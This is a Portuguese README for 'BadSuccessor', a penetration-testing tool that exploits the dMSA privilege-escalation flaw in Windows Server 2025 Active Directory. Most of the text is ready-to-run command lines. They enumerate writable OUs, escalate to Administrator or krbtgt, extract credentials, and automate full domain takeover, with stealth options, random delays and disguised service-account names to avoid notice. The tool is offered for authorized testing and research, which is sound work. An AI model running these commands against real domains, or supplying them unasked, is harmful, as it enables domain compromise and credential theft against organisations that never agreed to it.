
Explora a vulnerabilidade de escalonamento de privilégios dMSA no Windows Server 2025 para enumerar OUs graváveis, escalonar para usuários de domínio arbitrários, extrair credenciais e possibilitar a tomada de controle do domínio em avaliações de segurança de AD autorizadas.
Uma ferramenta de teste de penetração que explora a vulnerabilidade de escalada de privilégios dMSA (delegated Managed Service Account) em ambientes Active Directory do Windows Server 2025.
Esta ferramenta destina-se apenas a testes de penetração autorizados e pesquisa de segurança. Utilizá-la contra sistemas sem permissão escrita explícita é ilegal. Os autores não são responsáveis por uso indevido ou danos.
A ferramenta está em desenvolvimento ativo; o comportamento pode variar entre builds do Windows Server 2025 e variações de esquema. Teste primeiro num ambiente de não produção e reporte problemas ou submeta PRs para correções de compatibilidade.
O BadSuccessor explora uma vulnerabilidade de escalada de privilégios na funcionalidade delegated Managed Service Account (dMSA) do Windows Server 2025. Permite que um atacante com permissões mínimas escale para qualquer utilizador no domínio, incluindo Administradores de Domínio.
Estado da correção: Rastreada como CVE-2025-53779 (CVSS 7.2, path traversal relativo em dMSA). Divulgada pela Akamai em 2025-05-21 e corrigida na Patch Tuesday de agosto de 2025 da Microsoft. A Akamai observa que a correção mitiga grande parte do risco, mas a técnica subjacente continua relevante, pelo que esta ferramenta permanece útil contra ambientes não corrigidos ou mal configurados.
Investigação de Yuval Gordon (Akamai): Abusing dMSA to Escalate Privileges in Active Directory.
A vulnerabilidade existe no processo de migração dMSA:
msDS-ManagedAccountPrecededByLink (ou ms-DS-Managed-Account-Preceded-By-Link) para um utilizador alvomsDS-DelegatedMSAState (ou ms-DS-Delegated-MSA-State) para 2 (migração concluída)Além disso, a estrutura KERB-DMSA-KEY-PACKAGE contém as chaves de palavra-passe do utilizador alvo, permitindo a extração de credenciais.
pip3 install ldap3 pyasn1 pycryptodome
pip3 install impacket==0.12.0
A ferramenta tem como alvo o impacket 0.12.0 e também funciona em versões mais recentes (testada com a 0.13.1). Um aviso de incompatibilidade de versão é impresso em tempo de execução e pode ser ignorado em versões mais recentes suportadas.
# DNS-based DC discovery
pip3 install dnspython
# Kerberos system packages
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChild, Write, GenericWrite ou GenericAllgit clone https://github.com/cybrly/badsuccessor.git
cd badsuccessor
pip3 install -r requirements.txt
chmod +x badsuccessor.py
requirements.txt:
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
Os testes unitários cobrem a análise de DACL/ACE, o auxiliar de GUID e o tratamento de sessões. Eles não precisam de um Active Directory em execução.
pip3 install impacket # test dependency
python3 -m unittest discover -s tests
python3 badsuccessor.py -d <domain> -u <username> -p <password> [options]
Simulação (nenhuma alteração feita):
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
Enumere o ambiente:
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
Execute o ataque:
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
Extrair credenciais:
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
Gerenciamento de sessões:
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp_local_john_1234567890_abcd1234
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all
Exportar resultados:
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--export-json attack_results.json --export-html attack_report.html
Autenticação
| Opção | Descrição |
|---|---|
-d, --domain | Domínio alvo (ex.: corp.local) [obrigatório] |
-u, --username | Nome de usuário para autenticação [obrigatório] |
-p, --password | Senha para autenticação |
--dc-ip | IP do Domain Controller (descoberto automaticamente se omitido) |
--ldaps | Forçar conexão LDAPS (SSL) na porta 636 |
Modos de Ataque
| Opção | Descrição |
|---|---|
--attack | Executar o ataque BadSuccessor |
--dry-run | Simular o ataque sem fazer alterações |
--extract-creds | Extrair credenciais usando o key package |
--auto-pwn | Tomada de controle total do domínio automatizada |
Especificação do Alvo
| Opção | Descrição |
|---|---|
--target | Usuário alvo para escalar privilégios |
--targets | Usuários separados por vírgula para extração de credenciais |
--validate-target | Validar uma conta alvo sem atacar |
Configuração do dMSA
| Opção | Descrição |
|---|---|
--dmsa-name | Nome para o dMSA (gerado automaticamente se omitido) |
--dmsa-pattern | Padrão de nomenclatura (ex.: svc{random}{target}) |
--ou-dn | DN de OU específica a usar (detectada automaticamente se omitida) |
--dmsa-description | Descrição para o dMSA criado |
--dmsa-display-name | Nome de exibição para o dMSA criado |